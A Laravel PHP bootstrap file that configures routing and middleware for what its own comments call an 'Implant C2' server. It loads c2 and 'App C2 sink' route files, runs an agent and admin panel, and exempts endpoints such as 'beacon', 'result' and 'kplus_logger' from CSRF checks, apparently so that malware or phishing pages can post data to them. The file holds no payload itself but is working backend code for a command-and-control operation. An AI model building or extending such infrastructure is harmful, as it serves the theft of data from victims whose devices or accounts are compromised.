<?php

use App\Http\Middleware\EnsurePanelHost;
use App\Http\Middleware\EnsureSuperAdmin;
use Illuminate\Foundation\Application;
use Illuminate\Foundation\Configuration\Exceptions;
use Illuminate\Foundation\Configuration\Middleware;
use Illuminate\Support\Facades\Route;

return Application::configure(basePath: dirname(__DIR__))
    ->withRouting(
        web: __DIR__.'/../routes/web.php',
        then: function () {
            // Implant C2: no CSRF / session
            require __DIR__.'/../routes/c2.php';
            require __DIR__.'/../routes/xxbb.php';
            require __DIR__.'/../routes/ds.php';

            // App C2 sink (log only)
            require __DIR__.'/../routes/app_c2.php';

            // External webhooks (no CSRF)
            require __DIR__.'/../routes/hooks.php';

            // Admin + agent UI: session + CSRF
            Route::middleware('web')->group(base_path('routes/admin.php'));
            Route::middleware('web')->group(base_path('routes/user.php'));
        },
        commands: __DIR__.'/../routes/console.php',
        health: '/up',
    )
    ->withMiddleware(function (Middleware $middleware): void {
        // Honor X-Forwarded-* for $request->ip() fallback. Visitor-facing
        // IPs prefer CF-Connecting-IP via VisitorIp. TRUSTED_PROXIES=* | CIDR | empty.
        $trustedProxies = env('TRUSTED_PROXIES', '*');
        if ($trustedProxies === '*') {
            $middleware->trustProxies(at: '*');
        } elseif (is_string($trustedProxies) && trim($trustedProxies) !== '') {
            $middleware->trustProxies(at: array_values(array_filter(array_map(
                'trim',
                explode(',', $trustedProxies)
            ))));
        }

        $middleware->alias([
            'admin.super' => EnsureSuperAdmin::class,
            'panel.host' => EnsurePanelHost::class,
        ]);

        $middleware->validateCsrfTokens(except: [
            'api/*',
            'link/*',
            'hooks/*',
            'hooks/photo-origin/*',
            'hook/*',
            'statistic/t',
            'vhx',
            'event',
            'a',
            'u',
            't',
            'nb',
            'uj',
            'us',
            'ub',
            'ba',
            'result',
            'beacon',
            'war',
            'p',
            'stats',
            'kplus_logger',
            'kplus_logger.php',
        ]);

        $middleware->redirectGuestsTo(function () {
            $path = request()->path();
            if (str_starts_with($path, 'user')) {
                return route('user.login');
            }

            return route('admin.login');
        });
        $middleware->redirectUsersTo(function () {
            if (auth('agent')->check()) {
                return route('user.home');
            }

            return route('admin.home');
        });
    })
    ->withExceptions(function (Exceptions $exceptions): void {
        //
    })->create();